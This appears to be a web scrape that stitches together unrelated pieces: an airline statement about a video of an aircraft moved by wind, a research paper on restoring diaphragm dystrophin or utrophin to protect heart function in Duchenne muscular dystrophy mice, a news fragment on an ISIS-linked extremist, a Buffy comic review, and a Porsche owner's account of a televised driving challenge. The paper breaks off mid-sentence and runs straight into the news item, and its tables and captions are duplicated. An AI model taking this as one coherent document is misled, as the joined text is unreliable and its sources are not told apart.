"This is truly a rare occurrence and even more rare to catch it on video. You really were at the right place at the right time! We are very happy with how our ground crew and TechOps AME (Aircraft Maintenance Engineer) handled this situation. Our AME (in the blue vest) was at the aircraft within 10 seconds and our ramp crews (yellow/orange vests) had all ground service equipment away from the aircraft within 40 seconds, which prevented any damage to the aircraft and kept our crews and guests safe while they secured the aircraft with a tug and tow bar. This video is a great reminder of the power of Mother Nature!"
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Note: It's a long video, but there isn't really any action past about the 4-minute mark.
Here's another popular video shot in 2012 of a retired 747 in Mojave, California winds, looking like it wants to take to the skies one final time before being scrapped. Thinking about how heavy this plane was, it's just incredible!Abstract
Duchenne muscular dystrophy (DMD) is an X-linked recessive disease caused, in most cases, by the complete absence of the 427 kDa cytoskeletal protein, dystrophin. There is no effective treatment, and affected individuals die from respiratory failure and cardiomyopathy by age 30. Here, we investigated whether cardiomyopathy could be prevented in animal models of DMD by increasing diaphragm utrophin or dystrophin expression and thereby restoring diaphragm function. In a transgenic mdx mouse, where utrophin was over expressed in the skeletal muscle and the diaphragm, but not in the heart, we found cardiac function, specifically right and left ventricular ejection fraction as measured using in vivo magnetic resonance imaging, was restored to wild-type levels. In mdx mice treated with a peptide-conjugated phosphorodiamidate morpholino oligomer (PPMO) that resulted in high levels of dystrophin restoration in the skeletal muscle and the diaphragm only, cardiac function was also restored to wild-type levels. In dystrophin/utrophin-deficient double-knockout (dKO) mice, a more severely affected animal model of DMD, treatment with a PPMO again produced high levels of dystrophin only in the skeletal muscle and the diaphragm, and once more restored cardiac function to wild-type levels. In the dKO mouse, there was no difference in heart function between treatment of the diaphragm plus the heart and treatment of the diaphragm alone. Restoration of diaphragm and other respiratory muscle function, irrespective of the method used, was sufficient to prevent cardiomyopathy in dystrophic mice. This novel mechanism of treating respiratory muscles to prevent cardiomyopathy in dystrophic mice warrants further investigation for its implications on the need to directly treat the heart in DMD.
INTRODUCTION
Duchenne muscular dystrophy (DMD) is a severe muscle degenerative disease caused by mutations in the dystrophin gene resulting in loss of dystrophin function. The loss of dystrophin prevents formation of the dystrophin-associated protein complex (DAPC), which plays critical structural and signaling roles in muscles. Although the rate and extent of disease can differ, affected individuals largely suffer from muscle weakness and have severe difficulty in ambulation early in life, progressing to respiratory failure, cardiomyopathy and death by age 30 (1). As yet, there is no cure.
Two approaches being researched for DMD treatment are utrophin upregulation and exon skipping to restore dystrophin expression. Utrophin is highly homologous to dystrophin (2) and can functionally compensate for its loss when upregulated (3–7). Alternatively, for a subset of DMD patients, skipping of non-essential exons, induced by antisense oligonucleotides (AOs), can partially correct disease pathology by restoring a functional, although shortened, dystrophin protein (1,8,9). AO-mediated exon skipping therapies have shown promise in animal models after systemic delivery (10–15) and in human subjects after local intramuscular delivery (16,17).
DMD is a systemic disease affecting the heart and other muscles, with 95% of patients exhibiting clinically relevant cardiomyopathy (18), making it necessary for any therapy to restore, or compensate for, the function of dystrophin in the heart. Most therapies are initially evaluated in the mdx mouse, an animal model of DMD, which lacks dystrophin. It displays a less severe phenotype than DMD due to compensation for the loss of dystrophin by its functional homolog, utrophin. The mdx mouse has abnormal ECGs and severely affected diaphragm at 6 months (19,20) and left ventricular (LV) dysfunction by 11 months (21). Right ventricular (RV) dysfunction precedes the LV dysfunction, with a significant reduction in RV ejection fraction apparent at 8 months (22). We hypothesized that the RV dysfunction is due to the severely affected diaphragm and not the heart itself, and therefore that it would be possible to improve cardiac function by improving diaphragm function, without directly restoring or compensating for dystrophin loss in the heart.
To test this hypothesis, we studied various mouse models, with differently affected hearts and diaphragms. First, we looked at the Fiona mouse, a transgenic mdx mouse in which utrophin is upregulated in the skeletal muscles and the diaphragm but not in the heart (4). Secondly, we studied the effects of AOs on both the mdx mouse and the dystrophin/utrophin-deficient double-knockout (dKO) mouse, which is a more severe animal model of DMD than the mdx mouse (2,3). Both mdx and dKO mice were treated with phosphorodiamidate morpholino oligomers (PMOs) conjugated with cell-penetrating peptides (PPMOs). PPMOs are targeted to muscle cells where they induce exon skipping, restoring functional dystrophin with high efficiency (12–14). Several different PPMOs were used in this study, differing in their peptide or mode of conjugation (Table 1). This, and variations in route of administration and dose, resulted in differences in levels of dystrophin restoration in the skeletal muscles, the diaphragm and the heart.
Table 1. Name Sequence Abbreviation Length M23D 5′-GGCCAAACCTCGGCTTACCTGAAAT-3′ PMO 25 P007 N-RXRRXRRXRRXRXB-C (RXR) 4 XB 14 B peptide N-RXRRBRRXRRBRXB-C (RXRRBR) 2 XB 14 Name Sequence Abbreviation Length M23D 5′-GGCCAAACCTCGGCTTACCTGAAAT-3′ PMO 25 P007 N-RXRRXRRXRRXRXB-C (RXR) 4 XB 14 B peptide N-RXRRBRRXRRBRXB-C (RXRRBR) 2 XB 14 View Large
Table 1. Name Sequence Abbreviation Length M23D 5′-GGCCAAACCTCGGCTTACCTGAAAT-3′ PMO 25 P007 N-RXRRXRRXRRXRXB-C (RXR) 4 XB 14 B peptide N-RXRRBRRXRRBRXB-C (RXRRBR) 2 XB 14 Name Sequence Abbreviation Length M23D 5′-GGCCAAACCTCGGCTTACCTGAAAT-3′ PMO 25 P007 N-RXRRXRRXRRXRXB-C (RXR) 4 XB 14 B peptide N-RXRRBRRXRRBRXB-C (RXRRBR) 2 XB 14 View Large
This is the first study to investigate the novel implications of the finding that RV dysfunction precedes LV dysfunction in the mdx mouse. A number of groups are currently working on ways to treat cardiomyopathy in DMD animal models and, by extension, DMD patients, so a proper understanding of its mechanism is vital. We demonstrate that utrophin upregulation in the diaphragm, but not in the heart, is sufficient to restore cardiac function to wild-type levels in the mdx mouse; that dystrophin restoration in the diaphragm of the mdx and dKO mouse can do likewise; and that there is no difference in heart function between dKO mice with dystrophin restoration in both the diaphragm and the heart compared with restoration in the diaphragm alone. Thus, three separate lines of evidence from our studies in dystrophic mice support the hypothesis that restoring levels of diaphragm dystrophin or replacement with its homolog utrophin is sufficient to prevent the onset of cardiomyopathic changes. This novel mechanism for preventing cardiomyopathy by restoring diaphragm function in dystrophic mice warrants further investigation for its implications on the need to directly treat the heart in DMD.
RESULTS
Utrophin upregulation in the skeletal muscle, but not in the heart, of the Fiona mouse corrects heart function
We first studied the Fiona mouse, a transgenic mdx mouse in which utrophin is upregulated to three to four times normal levels in the hind limb muscles and approximately twice the normal level in the diaphragm, but not upregulated in the heart. The mouse has restored localization of DAPC components, a reduction in the numbers of centrally nucleated fibers and normalized force generation in both hind limb muscles and the diaphragm (4). To confirm this was still the case, 9-month-old Fiona, mdx and C57/Bl10 mice were sacrificed and western blot analysis of the quadriceps, the diaphragm and the heart found similar levels of upregulation in the quadriceps and the diaphragm, but no upregulation in the heart (Fig. 1A).
Figure 1. View largeDownload slide Utrophin upregulation and cardiac function improvement in Fiona mice. (A) Western blot for utrophin expression in the heart, diaphragm and quadriceps of Fiona, mdx and C57/Bl10 mice. α-Actinin was used as the loading control. (B) In vivo cardiac cine-MRI of Fiona mice at 6 months. At 6 months, the mdx mouse had a significant decrease in RV ejection fraction compared with age-matched wild-type C57/Bl10 mice (P< 0.05), but no difference in LV ejection fraction. In age-matched Fiona mice, heart function was restored to normal levels. The asterisk indicates measurements significantly different to Fiona mice (P< 0.05). (C) In vivo cardiac cine-MRI of Fiona mice at 9 months. At 9 months, the mdx mouse had a highly significant reduction in LV ejection fraction (P< 0.005) and a significant decrease in RV ejection fraction (P< 0.05) compared with age-matched C57/Bl10 mice. In age-matched Fiona mice, heart function was restored to normal levels. The single asterisk indicates measurements significantly different from the Fiona mice (P< 0.05) and the double asterisk indicates measurements highly significantly different from the wild-type (WT) (P< 0.005).
Figure 1. View largeDownload slide Utrophin upregulation and cardiac function improvement in Fiona mice. (A) Western blot for utrophin expression in the heart, diaphragm and quadriceps of Fiona, mdx and C57/Bl10 mice. α-Actinin was used as the loading control. (B) In vivo cardiac cine-MRI of Fiona mice at 6 months. At 6 months, the mdx mouse had a significant decrease in RV ejection fraction compared with age-matched wild-type C57/Bl10 mice (P< 0.05), but no difference in LV ejection fraction. In age-matched Fiona mice, heart function was restored to normal levels. The asterisk indicates measurements significantly different to Fiona mice (P< 0.05). (C) In vivo cardiac cine-MRI of Fiona mice at 9 months. At 9 months, the mdx mouse had a highly significant reduction in LV ejection fraction (P< 0.005) and a significant decrease in RV ejection fraction (P< 0.05) compared with age-matched C57/Bl10 mice. In age-matched Fiona mice, heart function was restored to normal levels. The single asterisk indicates measurements significantly different from the Fiona mice (P< 0.05) and the double asterisk indicates measurements highly significantly different from the wild-type (WT) (P< 0.005).
To determine whether restoring normal function to the diaphragm was sufficient to correct heart function, Fiona mice were imaged using cine-magnetic resonance imaging (MRI) (Fig. 2) and their cardiac function compared with age-matched mdx and C57/Bl10 control mice at both 6 and 9 months (Supplementary Material, Tables S1 and S2). At 6 months, the mdx mouse had a significant reduction in RV ejection fraction compared with age-matched wild-type C57/Bl10 mice (22). In age-matched Fiona mice, this was corrected and heart function was restored to near wild-type levels (Fig. 1B). At 9 months, the mdx mouse had a significant reduction in LV and RV ejection fraction compared with age-matched C57/Bl10 mice. This was again corrected in the age-matched Fiona mouse (Fig. 1C). Thus, utrophin upregulation in the diaphragm, at a level that had previously been shown to be sufficient to restore full function (4), was also sufficient to restore normal cardiac function to the mdx mouse.
Figure 2. View largeDownload slide Cine-MRI measurement of cardiac function in Fiona mice. End-diastolic (top row) and end-systolic (bottom row) short-axis images in 1 mm slices of the heart of a 6-month-old Fiona mouse, imaged using cine-MRI. Images are displayed from the apex of the heart (left) to the base (right).
Figure 2. View largeDownload slide Cine-MRI measurement of cardiac function in Fiona mice. End-diastolic (top row) and end-systolic (bottom row) short-axis images in 1 mm slices of the heart of a 6-month-old Fiona mouse, imaged using cine-MRI. Images are displayed from the apex of the heart (left) to the base (right).
Restoration of dystrophin in the skeletal muscle and the diaphragm of mdx mice treated with B-PMO1 corrects heart function
As a significant reduction in RV ejection fraction was found in the 6-month-old mdx mouse, we investigated the extent to which cardiac function could be ameliorated by diaphragm rescue in mdx mice treated by AO-mediated exon skipping. We and others have previously shown that PMO AOs conjugated to cell-penetrating peptides can restore cardiac dystrophin expression in the mdx mouse (10,11,24,25). Previous work (12,25) has suggested that PPMO-induced cardiac dystrophin restoration in mdx mice can improve LV function. We hypothesized that the previously observed improvements in heart function were a result of diaphragm dystrophin restoration and not directly due to dystrophin restoration in the heart itself.
Six-month-old mdx mice were treated with a single dose of 18.75 mg/kg of B-PMO1 administered intravenously. Subsequent western blot analysis (Fig. 3A) showed that effective dystrophin restoration was observed in the skeletal muscle and the diaphragm but not in the heart. Two weeks later, mice were imaged using cine-MRI and their cardiac function compared with untreated mdx littermates and age-matched C57/Bl10 mice (Supplementary Material, Table S3). The treated mdx mice showed a significant increase in RV ejection fraction and LV and RV cardiac output compared with their untreated littermates, restoring cardiac function to wild-type levels (Fig. 3B). This supports our hypothesis and corroborates the results found with the Fiona mice despite the different method used for restoring diaphragm function.
Figure 3. View largeDownload slide Dystrophin restoration and cardiac function improvement in mdx mice treated with B-PMO1 at 18.75 mg/kg single dose. (A) Western blot for dystrophin expression in B-PMO1-treated mdx mice. Equal loading of 10 µg of protein is shown for each sample. α-Actinin was used as the loading control. (B) In vivo cardiac cine-MRI of mdx mice treated with B-PMO1. A significant decrease in RV ejection fraction and LV and RV cardiac output was found in untreated mdx mice compared with age-matched C57/Bl10 mice (P< 0.05). Heart function was restored to normal levels in treated mice. An asterisk indicates measurements significantly different to B-PMO1 treated mice (P< 0.05).
Figure 3. View largeDownload slide Dystrophin restoration and cardiac function improvement in mdx mice treated with B-PMO1 at 18.75 mg/kg single dose. (A) Western blot for dystrophin expression in B-PMO1-treated mdx mice. Equal loading of 10 µg of protein is shown for each sample. α-Actinin was used as the loading control. (B) In vivo cardiac cine-MRI of mdx mice treated with B-PMO1. A significant decrease in RV ejection fraction and LV and RV cardiac output was found in untreated mdx mice compared with age-matched C57/Bl10 mice (P< 0.05). Heart function was restored to normal levels in treated mice. An asterisk indicates measurements significantly different to B-PMO1 treated mice (P< 0.05).
Restoration of dystrophin in skeletal muscles after long-term P007-PMO administration to dKO mice corrects heart function
Next, we tested our hypothesis in a more severe model of DMD-the dystrophin/utrophin-deficient dKO mouse. The untreated dKO mouse has an average lifespan of 8–10 weeks (23) and although there is an increase in cardiac inflammation and fibrosis at 10 weeks (26), there is little concurrent reduction in heart function (A.C., unpublished data). We recently demonstrated that PPMO treatment could prevent the onset of dystrophic pathology in, and increase the lifespan of, the dKO mouse (27). Interestingly, although these dKO mice appeared almost completely rescued, there was no dystrophin restoration in the heart, making it possible that they would develop cardiomyopathy as they aged. The mice showed relocalization of DAPC components, reduction in serum creatine kinase (CK) levels and normalized force generation in both fore- and hindlimb muscles. Ten-day-old dKO mice were injected intraperitoneally with 25 mg/kg/week of P007-PMO for 6 weeks, as previously described (27), then subsequently re-injected monthly at the same dose. This treatment resulted in an improvement of their dystrophic pathology and an increase in lifespan. Of four mice studied, two were sacrificed at 13 months to confirm levels of dystrophin restoration in the heart, the diaphragm and other muscles, and two remain alive at 18 months. RNA and protein analysis of the treated muscles at 13 months confirmed the previous results obtained at 13 weeks (27). Dystrophin expression was present in all the tested muscles except the heart, with particularly high levels of restoration in the diaphragm (Fig. 4A), consistent with the immunohistochemical staining (data not shown). Age-matched untreated mdx mice were used as a negative control due to the limited lifespan of untreated dKO mice. Although age-matched controls cannot be used after 10 weeks, it is likely that older untreated dKO mice would have a more severe phenotype than age-matched mdx mice since the dKO mouse does have a worse phenotype until its death. Treated dKO mice were imaged using cine-MRI at 9 months and their cardiac function compared with age-matched mdx and wild-type C57/Bl6 mice (Supplementary Material, Table S4). A significant increase in LV ejection fraction (to wild-type levels) and an increase in RV ejection fraction (to nearwild-type levels) were found compared with untreated age-matched mdx controls (Fig. 4B). This supports the data found in both previous experiments.
Figure 4. View largeDownload slide Dystrophin restoration and cardiac function improvement in dKO mice treated with P007-PMO at 25 mg/kg monthly repeated doses intraperitoneally. (A) Western blot for dystrophin expression in P007-PMO-treated dKO mice. Equal loading of 50 µg of protein is shown for each sample. α-Actinin was used as the loading control. (B) In vivo cardiac cine-MRI of dKO mice treated with P007-PMO at 25 mg/kg repeated doses. A significant decrease in LV and RV ejection fraction was found in untreated mdx mice compared with age-matched C57/Bl6 mice (P< 0.05). In treated dKO mice, LV ejection fraction was restored to normal levels and RV ejection fraction was restored to near-normal levels. An asterisk indicates measurements significantly different to P007 treated mice (P< 0.05).
Figure 4. View largeDownload slide Dystrophin restoration and cardiac function improvement in dKO mice treated with P007-PMO at 25 mg/kg monthly repeated doses intraperitoneally. (A) Western blot for dystrophin expression in P007-PMO-treated dKO mice. Equal loading of 50 µg of protein is shown for each sample. α-Actinin was used as the loading control. (B) In vivo cardiac cine-MRI of dKO mice treated with P007-PMO at 25 mg/kg repeated doses. A significant decrease in LV and RV ejection fraction was found in untreated mdx mice compared with age-matched C57/Bl6 mice (P< 0.05). In treated dKO mice, LV ejection fraction was restored to normal levels and RV ejection fraction was restored to near-normal levels. An asterisk indicates measurements significantly different to P007 treated mice (P< 0.05).
Near-complete restoration of dystrophin in skeletal muscles and the diaphragm after intraperitoneal delivery and also in the heart after intravenous delivery of B-PMO2 results in cardiac function improvement in dKO mice
Finally, we directly compared heart function in dKO mice in which dystrophin had also been restored in the heart with those in which it had not. This would allow us to determine what, if any, contribution restoration of cardiac dystrophin would make to cardiac function. B-PMO2 administration has previously been shown to restore dystrophin effectively in mdx mice (10,11,24,25). We found that treatment of dKO mice with B-PMO2 via intravenous (IV) injection restored dystrophin throughout all skeletal muscles, the diaphragm and the heart, whereas treatment via intraperitoneal (IP) injection only restored dystrophin in the skeletal muscles and the diaphragm. Long-term, repeated treatment with B-PMO2 via both these injection routes allowed us to directly assess the contribution of cardiac dystrophin restoration to cardiac function.
Ten-day-old dKO mice were injected either intravenously or intraperitoneally with B-PMO2 at a 25 mg/kg dose weekly for 23 weeks and sacrificed 2 weeks after the last injection. Both the survival rate and health conditions were significantly improved following treatment and all treated dKO mice were observed to be as healthy as their mdx littermate controls to the end-point of the experiment (at 6 months of age; data not shown). Immunohistochemical staining showed that, in IV and IP injected mice, a near-normal level of dystrophin expression was present in all the tested skeletal muscles, and in IV injected mice, dystrophin restoration was also present in the heart (Fig. 5A). Western blotting showed that ∼100% of normal levels of dystrophin was restored in all skeletal muscles and ∼50% of normal levels in the heart following IV administration of B-PMO2. In the samples treated via IP injection, 100% dystrophin restoration could only be seen in the diaphragm, with less dystrophin (∼30–50%) restored in other skeletal muscles and no dystrophin detectable in the heart (Fig. 5B).
Figure 5. View largeDownload slide Dystrophin restoration and cardiac function improvement following repeated systemic administration of B-PMO2 to dKO mice. dKO mice were treated with 23 repeated weekly injections of B-PMO2 at 25 mg/kg dose either intravenously (IV) or intraperitoneally (IP). (A) Immunostaining of muscle tissue cross-sections to detect dystrophin protein expression and localization in C57/BL6 normal control (top panel), untreated dKO mouse (middle panel), IV-treated (third panel) and IP-treated dKO mice (bottom panel). Muscle tissues analyzed were from tibialis anterior, gastrocnemius, quadriceps, biceps, diaphragm, heart and abdominal wall muscles (scale bar: 200 μm). (B) Western blot for dystrophin expression in IV- and IP-treated dKO mice. Equal loading of 10 µg of protein is shown for each sample. α-Actinin was used as the loading control. (C) In vivo cardiac cine-MRI of dKO mice treated with B-PMO2 at 25 mg/kg repeated doses. A significant decrease in RV ejection fraction was found in untreated mdx mice compared with age-matched wild-type C57/Bl6 mice (P< 0.05), but no difference in LV ejection fraction. Heart function was restored to normal levels in dKO mice treated with B-PMO2 both IV and IP. An asterisk indicates measurements significantly different to B-PMO2 treated mice (P< 0.05).
Figure 5. View largeDownload slide Dystrophin restoration and cardiac function improvement following repeated systemic administration of B-PMO2 to dKO mice. dKO mice were treated with 23 repeated weekly injections of B-PMO2 at 25 mg/kg dose either intravenously (IV) or intraperitoneally (IP). (A) Immunostaining of muscle tissue cross-sections to detect dystrophin protein expression and localization in C57/BL6 normal control (top panel), untreated dKO mouse (middle panel), IV-treated (third panel) and IP-treated dKO mice (bottom panel). Muscle tissues analyzed were from tibialis anterior, gastrocnemius, quadriceps, biceps, diaphragm, heart and abdominal wall muscles (scale bar: 200 μm). (B) Western blot for dystrophin expression in IV- and IP-treated dKO mice. Equal loading of 10 µg of protein is shown for each sample. α-Actinin was used as the loading control. (C) In vivo cardiac cine-MRI of dKO mice treated with B-PMO2 at 25 mg/kg repeated doses. A significant decrease in RV ejection fraction was found in untreated mdx mice compared with age-matched wild-type C57/Bl6 mice (P< 0.05), but no difference in LV ejection fraction. Heart function was restored to normal levels in dKO mice treated with B-PMO2 both IV and IP. An asterisk indicates measurements significantly different to B-PMO2 treated mice (P< 0.05).
Both administration routes resulted in the successful relocalization of multiple DAPC component proteins as shown by serial immunostaining (Supplementary Material, Fig. S1A), and significant force recovery when compared with age-matched untreated mdx controls as shown by grip strength tests (Supplementary Material, Fig. S1B). Centrally nucleated myofiber counts showed a significant reduction in both IV and IP injected mice compared with untreated age-matched mdx littermate controls, a finding which is corroborated by a significant decrease in the percentage of regenerating fibers detectable in treated muscles (Supplementary Material, Fig. S1C). Other measurements, for example of serum CK, also indicated phenotypic improvement in treated dKO mice (data not shown).
Treated dKO mice were imaged using cine-MRI immediately before sacrifice and compared with age-matched mdx and wild-type C57/BL6 mice (Supplementary Material, Table S5). A significant increase in RV ejection fraction was found in dKO mice treated via either route compared with untreated age-matched mdx controls (Fig. 5C), indicating that cardiac function was improved irrespective of treatment route. Cardiac function for both groups of dKO mice was statistically indistinguishable from that of the age-matched wild-type C57BL6 mice controls. No additional benefit was observed in heart function in treated dKO mice, with dystrophin restored in both the diaphragm and the heart compared with restoration in the diaphragm alone. These data further confirmed our hypothesis that diaphragm rescue is sufficient to restore heart function to wild-type levels in dystrophic mice.
DISCUSSION
Two promising therapeutic candidates for the treatment of DMD are utrophin upregulation and AO-mediated exon skipping. Work on skeletal muscle treatment has been ongoing for some time but studies have recently started to focus on rescuing the heart. In this study, using mdx and dKO animal models and evaluating both therapeutic approaches, we demonstrate that compensation for, or restoration of, diaphragm dystrophin is sufficient to rescue cardiac function without direct treatment of the heart itself.
Work on utrophin upregulation has been carried out in the mdx mouse (3–7,28), dKO mouse (29,30) and dystrophic dog (31); however, these studies have largely focussed on the skeletal muscle, with many of them using skeletalmuscle-specific expression systems. Our study shows that complete rescue of the diaphragm by utrophin upregulation was sufficient to restore the mdx heart to wild-type levels of cardiac function to at least 9 months of age, as measured by significant improvements in RV ejection fraction at 6 months and both LV and RV ejection fraction at 9 months.
Recently, exon-skipping AOs have been studied in clinical trials in the Netherlands (16) and the UK (17). However, based on the data from pre-clinical animal models, high doses of unmodified AOs are likely to be required for correction of dystrophin expression in skeletal muscles, and the amount of dystrophin restoration in the heart muscle remains very low (10,11). Conjugation of cell-penetrating peptides to PMOs has resulted in remarkable and sustained dystrophin restoration in skeletal muscles and also, at lower levels, in the heart (12,13,24,25). A number of these studies (12,25) have shown improvement in cardiac function following treatment of the mdx mouse with these PPMOs. Our results show that in mdx mice following single injections of B-PMO1, leading to restoration of high levels of dystrophin in the diaphragm but none in the heart, normal levels of cardiac function are found. This suggests that the previous studies may have incorrectly attributed the observed improvements in cardiac function to dystrophin restoration in the heart. These data support the results found following utrophin upregulation in the diaphragm and suggest that restoration of normal diaphragm function, irrespective of method, is sufficient to restore mdx mouse heart function to wild-type levels.
In the more severely affected dKO model, we found that long-term IP administration of P007-PMO restored high levels of dystrophin to the skeletal muscles and the diaphragm but not to the heart, resulting in a greatly increased lifespan, with treated mice continuing to live beyond 18 months. These mice showed essentially normal cardiac function at 9 months, further supporting the result in the mdx mice. Furthermore, in dKO mice treated with B-PMO2, despite the difference in restoration of dystrophin expression in the heart between IP and IV administration routes, there was no significant difference in terms of phenotypic, functional and morphological parameters and both groups displayed normalized cardiac function at 6 months. This suggests that, at least up to 9 months of age, cardiac function in dystrophic mice can be normalized without directly treating the heart. Certain mutations in the dystrophin gene seem to mainly affect the heart, causing X-linked dilated cardiomyopathy (XLDC) (32,33). This would appear to directly contradict our hypothesis. A separate pathway may be involved in the pathogenesis of XLDC, or this pathway may only become active in older mice than we studied. As such, an understanding of the pathogenesis of the heart dysfunction in XLDC would be instructive.
Previous work has suggested that functional improvement in skeletal muscles due to dystrophin restoration may be harmful to the heart (34), due to an increase in exercise capacity putting greater stress on the heart. However, there is a well-established mechanism for compromised lung function to affect RV function (35), whereby reduced lung function causes an increase in pulmonary vascular pressure (pulmonary hypertension). Furthermore, it has been shown in DMD patients that pulmonary hypertension increases right atrial pressure, suggesting the presence of RV failure (36). This pulmonary hypertension could also be due to the absence of dystrophin in vascular smooth muscle cells, but dystrophin has been shown to be non-essential for the maintenance of normal vascular tone or for acute changes in tone (37), suggesting that this is probably not the primary cause. Therefore, it is likely that utrophin upregulation or dystrophin restoration in the respiratory muscles, most importantly in the diaphragm, prevents a decline in lung function, leading to our assertion that it is the improvement in diaphragm function that is responsible for the improvement in heart function.
In summary, this study indicates that, in both the mdx and dKO models of DMD, treatment of the heart is not necessary in order to improve heart function. Restoration of diaphragm (and other respiratory muscle) function, irrespective of method and AO chemistry, is sufficient to restore cardiac function to near-normal levels in mice up to 9 months of age. This suggests that, in dystrophic mice, the use of PPMOs with heart activity may be unnecessary. Further work is necessary to establish whether normal diaphragm function remains sufficient to preserve cardiac function in older mice and to determine whether stressing the heart, for example by forced running or high-dose dobutamine infusion, may give a measure of cardiac function that is independent of diaphragm function. These observations provide a novel mechanism for dystrophic |
responsible for a ban on music, art, philosophy and Christian theology in Mosul's schools and universities.
The trained mathematician had been fighting his own holy war for 20 years, with German security services saying that he travelled to Bosnia in 1994, using a cover as a charity worker to bring money and weapons to Muslims fighting Serbs.
His first wife, writing under a pseudonym about their marriage, said that Seyam had met Ramzi Binalshibh, one of the planners of the September 11, 2001 attacks, while in the Balkans.
Seyam was also a suspect in the 2002 Bali bombing in Indonesia, but was never convicted of anything worse than overstaying his visa.
While living in Berlin he named one of the sons he had with his second wife “Djehad”, fighting through the courts to have the name allowed.
SZ also reported that Seyam was in contact with Dennis Cuspert, a former rapper known as Deso Dogg who converted to fundamentalist Islam and travelled to Syria to fight for Isis.
SEE ALSO: Berlin rapper brandishes severed head in Isis clipReviewed by – ShadowJayd
Christos Gage and Rebekah Isaacs take us deeper into Dark Horse’s ‘Buffy the Vampire Slayer Season 10’, as the characters try to make sense of a world where the “New Rules” of magic have all but allowed for a total revamp of the series’ traditional supernatural mythology. Along for the ride is BtVS alum, Nicholas Brendon (Xander Harris), who has taken on a new role of co-writer for a three-issue arc featuring the return of Dracula.
WRITTEN BY: Christos Gage, Nicholas Brendon
ART BY: Rebekah Isaacs
PUBLISHER: Dark Horse Comics
PRICE: $3.50
RELEASE: May 21, 2014
With the series’ first two installments being so well received by fans and critics alike, coupled with the news of Nicholas Brendon joining the creative team, anticipation for this issue was expectedly high, though tempered by uncertainty as to whether or not the follow-up could pack the same punch. Evidently, those doubts were unwarranted seeing as Issue #3 not only lives up to the narrative standard and quality of art set forth in “Part One” and “Part Two”, but is also a hilarious presentation of quips and quirks that highlight the writers’ knack for comedic storytelling.
As writers, Gage and Brendon spend time strengthening the idiosyncrasies of a number of different characters in “Part Three”, as opposed to any one focus, whilst fleshing out the interrelationships between them. In terms of story, they continue to explore the situation with the wiped-out VAMPYR book, and the supernatural abilities of the series’ new vampires, who evolved from an unexpected consequence of the current state of magic in the Buffyverse.
Last month, Rebekah Isaacs and colourist Dan Jackson fantastically illustrated the scope of these vampires’ evolved powers through action-packed battle sequence panels between Buffy’s team and Vicki’s vampire gang, and the result was epically eye-opening. With a new sense of purpose and direction, the gang embark on a journey to find those responsible for manipulating Earth’s new rules of magic, by acquiring the help of the perfectly characterized eccentric, and supremely arrogant Dracula, and by tracking down a supervamp to use as a lab rat.
Overall, it’s a nice change of pace to see an abundance of beloved personalities, written and drawn with such infallible representations and likeness, actually working together instead of on their own and/or against each other. And though it’s honestly been said to death, it genuinely feels like the tone of the season, as well as the Scoobies themselves, are heading back to the basics. Even with a recently resurrected Giles comically trapped inside the body of a pubescent boy, along for the ride.
The artwork remains a consistent bonus throughout the issue, as Isaacs brings Gage and Brendon’s narrative to visual signification with the help of Jackson’s palette of strong colours. There are many things to love and praise about the interior art of Issue #3. It’s emotive, dynamic, and thoroughly engaging, from the busy action panels to the quiet introspective moments. The spot-on character design for Dracula, the action at the ruins of the Sutro Baths, as well as Buffy and Willow’s kidnapping quest through the streets of San Francisco, are just a few personal highlights. Isaacs’ and Jackson’s individual contributions and styles of art complement each other’s impressive work, and they — along with Brendon — seem to be a perfect match for Gage’s “Buffy Season 10”.In December of last year the Porsche Club of America's Cayman Register put out a call to Cayman owners that Porsche and SPEED TV were working on something special and they needed help to make it happen. With the help of the Cayman Register, and its members, more than 70 Caymans descended on Las Vegas Boulevard. Over the course of two days they enjoyed Parade Laps, Porsche hospitality and a competition consisting of road and track challenges. From that competition, 3 finalist were chosen to go on and take place in what we now know to be the "King of the Curve". The story below comes directly from Larry Sharp, one of the three lucky finalist chosen to take part in the final competition for the TV Show.
Larry's Story
Waiting over four months for the details to be finalized for the second part of the TV show “King of the Curve” was almost unbearable. However, on April 6th, I started to receive a flurry of e-mails asking for a bio. Then, a member of the PCNA marketing team called and arranged for me to fly down to Los Angeles on Sunday, April 14 to be ready for the shooting of the show the next day. I was told beforehand how the event was going to run. The Speed TV production crew (Robert Dalrymple Productions) had organized three teams to compete in three exercises. Each team would be comprised of a pro driver as the lead, a celebrity driver, and one Porsche Club of America (PCA) finalist from the preliminary competition held last December in Las Vegas.
The first team was led by Porsche factory driver Patrick Long and included actor Brian Austin Green, and Mike Pederson, the PCA finalist. The second team was Indycar driver Graham Rahal, Olympic gold medalist Dara Torres, and PCA finalist, Carl Vanderschuit. My team was led by NASCAR‘s Brian Vickers and included actor Bill Fichtner, followed up humbly by myself.
To arrive at the Autoclub Speedway in Fontana on Monday, and walk into this group of drivers was very intimidating at first. First off, I was surrounded by not only these drivers, but a very large production staff for the TV show. The pro drivers were all people I had watched on television for many years and the celebrity drivers had all won outright the Long Beach Grand Prix Toyota celebrity race. Mike, Carl, and I were all dumbfounded at first trying to fit in.
I first met up with Brian Vickers as we were both checking out the 2014 Cayman S team car with our names on the door. At first Brian had his pro driver “shield” up and seemed a little bit distant. But then we talked about the car a few minutes and he seemed to relax. He had never driven a Porsche of any kind before, and was really looking forward to seeing what all the fuss was about. Soon, Bill Fichtner joined us and the three of us seemed to have good chemistry.
We were all gathered into the track media center and greeted by Bobby Akin of SpeedTV, the producer and son of Bob Akin (the famous Porsche racer from the 962 era). We were all shown a short lead-in of video from the December 2012 Las Vegas PCNA/PCA event that earned Mike, Carl, and myself a spot in the show. It was very unreal seeing myself on the video. The director gave all the drivers the schedule for the exercises we were going to do. At the end of the briefing, we all went out and did some shots for the introduction of the show. With the Hollywood stuff out of the way, we could go out and practice.
Larry's Team Was First to Practice the Pit Stop Challenge
In this test, one driver would start at the pit entrance of the speedway, accelerate down the pit lane as fast as the Cayman could go, and then brake into a “pit box” marked by cones. The first driver would then put the Porsche in park, and exit the vehicle. The next driver then gets in and accelerates to the end of the pit lane. Timing was kept from when the car entered pit lane until it exited pit lane. The second driver would then proceed, un-timed, around to the pit entrance, and the second and third driver would repeat the same routine as the first and second drivers. While our team practiced this exercise, the other two teams practiced the two other exercises [Slalom and Autocross].
As a constant reminder we were going to be on a TV show, the cameras were all around us as we were talking strategy and practicing. The only strategy we could think of for this exercise was to have Brian, our pro-driver, drive in the longer middle leg. We practiced this exercise a few times (it was especially fun because all three of us were allowed go counter-course down the front straight of the speedway at full-speed to return to the start).
Next Up, the Slalom Challenge Practice
